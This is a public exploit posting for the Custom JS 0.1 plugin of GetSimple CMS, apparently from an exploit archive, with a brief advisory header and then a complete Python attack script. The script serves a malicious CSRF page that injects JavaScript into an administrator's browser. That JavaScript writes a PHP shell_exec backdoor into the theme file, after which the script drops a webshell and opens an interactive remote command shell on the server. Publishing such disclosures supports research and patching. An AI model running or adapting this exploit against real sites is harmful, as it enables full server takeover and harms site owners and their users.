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GetSimple CMS Custom JS 0.1 CSRF / XSS / Code Execution

GetSimple CMS Custom JS 0.1 CSRF / XSS / Code Execution
Posted May 2, 2021
Authored by Bobby Cooke, Abhishek Joshi

The Custom JS plugin version 0.1 for GetSimple CMS suffers from a cross site request forgery vulnerability that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in remote code execution on the hosting server, when an authenticated administrator visits a malicious third party website.

tags | exploit, remote, arbitrary, code execution, csrf
MD5 | f84e4d61a61db6947381a07172b5af44

GetSimple CMS Custom JS 0.1 CSRF / XSS / Code Execution

Change Mirror Download
# Exploit Title: GetSimple CMS Custom JS v0.1 - CSRF to XSS to RCE
# Exploit Author: Bobby Cooke (boku) & Abhishek Joshi
# Date: April 30th, 2021
# Vendor Homepage: http://get-simple.info
# Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/
# Vendor: 4Enzo
# Version: v0.1
# Tested against Server Host: Windows 10 Pro + XAMPP
# Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer
# Vulnerability Description:
# The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.
# Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce
# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
# CVSS Base Score: 9.6

import argparse,requests
from http.server import BaseHTTPRequestHandler, HTTPServer
from colorama import (Fore as F, Back as B, Style as S)
from threading import Thread
from time import sleep

FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
C=FB if color == 'B' else FR if color == 'R' else FG
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')

class theTHREADER(object):
def __init__(self, interval=1):
self.interval = interval
thread = Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
run()

def webshell(target):
try:
websh = "{}/webshell.php".format(target,page)
term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST)
welcome = ' {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)
print(welcome)
while True:
specialmove = input(term)
command = {'FierceGodKick': specialmove}
r = requests.post(websh, data=command, verify=False)
status = r.status_code
if status != 200:
r.raise_for_status()
response = r.text
print(response)
except:
pass


def xhrRcePayload():
payload = 'var e=function(i){return encodeURIComponent(i);};'
payload += 'var gt = decodeURIComponent("%3c");'
payload += 'var lt = decodeURIComponent("%3e");'
payload += 'var h="application/x-www-form-urlencoded";'
payload += 'var u="/admin/theme-edit.php";'
payload += 'var xhr1=new XMLHttpRequest();'
payload += 'var xhr2=new XMLHttpRequest();'
payload += 'xhr1.onreadystatechange=function(){'
payload += 'if(xhr1.readyState==4 && xhr1.status==200){'
payload += 'r=this.responseXML;'
payload += 'nVal=r.querySelector("#nonce").value;'
payload += 'eVal=r.forms[1][2].defaultValue;'
payload += 'xhr2.open("POST",u,true);'
payload += 'xhr2.setRequestHeader("Content-Type",h);'
payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);'
payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'
payload += 'xhr2.send(params);'
payload += '}};'
payload += 'xhr1.open("GET",u,true);'
payload += 'xhr1.responseType="document";'
payload += 'xhr1.send();'
return payload

def csrfPayload():
payload = '<html><body>'
payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">'
payload += '<input type="hidden" name="customjs_url_content" value="">'
payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">'
payload += '<input type="hidden" name="submit" value="Save Settings">'
payload += '<input type="submit" value="Submit request">'
payload += '</form></body></html>'
return payload

class S(BaseHTTPRequestHandler):
def do_GET(self):
victim = self.client_address
victim = "{}:{}".format(victim[0],victim[1])
print("{}{} connected to Malicious CSRF Site!".format(ok,victim))
print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info))
self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print('Stopping httpd...')

def tryUploadWebshell(target,page):
try:
blind = target+page
# The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)
webshUpload = {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}
requests.post(url=blind, data=webshUpload, verify=False)
except:
pass

def checkWebshell(target):
try:
websh = "{}/webshell.php".format(target)
capsule = {'FierceGodKick':'pwnt?'}
resp = requests.post(url=websh, data=capsule, verify=False)
return resp.status_code
except:
pass

def sig():
SIG = SB+FY+" .-----.._ ,--. "+FB+" ___ "+FY+" ___ _____ _____ _ _ _____ \n"
SIG += FY+" | .. > ___ | | .--. "+FB+" / \\ "+FY+" |_ | _ / ___| | | |_ _| \n"
SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __ "+FB+" \\ O / "+FY+" | | | | \\ `--.| |_| | | | \n"
SIG += FY+" | </ "+FR+"* * *"+FY+" \ / \\/ \\ "+FB+" / _ \\/\\ "+FY+" | | | | |`--. \\ _ | | | \n"
SIG += FY+" | |> ) "+FR+" * *"+FY+" / \\ \\"+FB+" ( (_> < "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n"
SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n"
SIG += FY+" __"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+" __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST
return SIG

def argsetup():
about = SB+FB+' The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST
about += SB+FC+' CVSS Base Score'+FT+':'+FR+' 9.6 '+FT+'|'+FC+' CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC
parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)
desc1 = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB
parser.add_argument('Target',type=str,help=desc1)
desc2 = ST+FC+'Path to the public page which implements the CMS theme'+ST
parser.add_argument('PublicPage',type=str,help=desc2)
args = parser.parse_args()
return args

if __name__ == '__main__':
header = SB+FR+' GetSimple CMS - Custom JS Plugin Exploit\n'
header += SB+FB+' CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST
header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST
print(header)
args = argsetup()
target = args.Target
page = args.PublicPage
print(sig())
theTHREADER()
pwnt = checkWebshell(target)
if pwnt != 200:
while pwnt != 200:
sleep(3)
tryUploadWebshell(target,page)
sleep(2)
pwnt = checkWebshell(target)
print("{} A wild webshell appears!".format(ok))
webshell(target)

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